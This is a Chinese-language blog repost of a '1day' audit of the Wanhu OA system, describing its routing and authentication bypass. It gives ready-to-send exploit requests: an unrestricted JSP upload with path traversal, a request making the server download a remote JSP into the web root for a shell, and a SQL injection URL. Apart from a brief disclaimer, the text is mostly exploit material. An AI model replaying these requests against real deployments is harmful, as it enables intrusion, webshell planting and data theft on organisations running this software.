免责声明:
打开整个文件
strtus2 的
spring-mvc的
Servlet
这三类的路由情况
整个action的 都要走 StrutsPrepareAndExecuteFilter
strtus 都是走的默认的正常的
Servlet 的就很简单 就走的绑定
filter
一个一个的走 看第一个
进来之后发现第一个
xfservices/GeneralWeb
逻辑就不多说了 就有这个的就直接过,不建权
还有这些的也是portal/ upgrade public/edit/
java会把每一个filter都走完 如果第一个已经过了 就直接return了
文件上传
/defaultroot/platform/portal/layout/common/upload.jsp
包含portal
这里没有过滤文件的类型 直接导致文件上传
文件的路径呢是当前年份加日期/返回的路径
POST /defaultroot/platform/portal/layout/common/upload.jsp?portletSettingId=1&path=../platform/portal/com/ HTTP/1.1
Host:
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: LocLan=zh_CN; OASESSIONID=C3020BCC548C983E91AD240DE0F18493
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykIU0ZM0wGHiH6FRd
Content-Length: 254
------WebKitFormBoundarykIU0ZM0wGHiH6FRd
Content-Disposition: form-data; name="file";filename="chrome.jsp"
content-type: image/pne
<%
out.println("PNG ... content of chrome.png ...222222222222222");
%>
------WebKitFormBoundarykIU0ZM0wGHiH6FRd--
上传后的路径defaultroot/platform/portal/com/当前年份加日期/返回的路径
文件下载getshell
存在于strtus 路由里面
这里文件下载
文件不存在就开始下载
下载也就是正常的下载 可以远程的去请求
数据包
POST /defaultroot/yzConvertFile/file2Html.controller HTTP/1.1
Host: xxxxx
Content-Length: 144
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: LocLan=zh_CN; OASESSIONID=30170ED4FFE28967E72103EFFDFE11FA
Connection: close
fileName=1111111111112.jsp&path=../platform/portal/&url=http://xxxxxxx/xxxx.jsp
fileName 有一个字节限制 13位就好了
配合前台可以访问 那么 我们上传到portal这个下面 就行了
SQL注入
这里很简单 需要一下JSP文件 很多的 只是前后台的区别
这里找到了defaultroot/platform/portal/portlet/pic/pic.jsp
支持3套数据库
x /defaultroot/platform/portal/portlet/pic/pic.jsp?channelId=1*&num=1&id=1
这里很简单 都是拼接的
还有一个spring路由的绕过 大家都知道了 这里就不过多的阐述了
菜鸡作文,有错 多多指教。
0x02
原文始发于微信公众号(小黑说安全):1day | 万户OA系统审计
原文始发于微信公众号(小黑说安全):1day | 万户OA系统审计
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论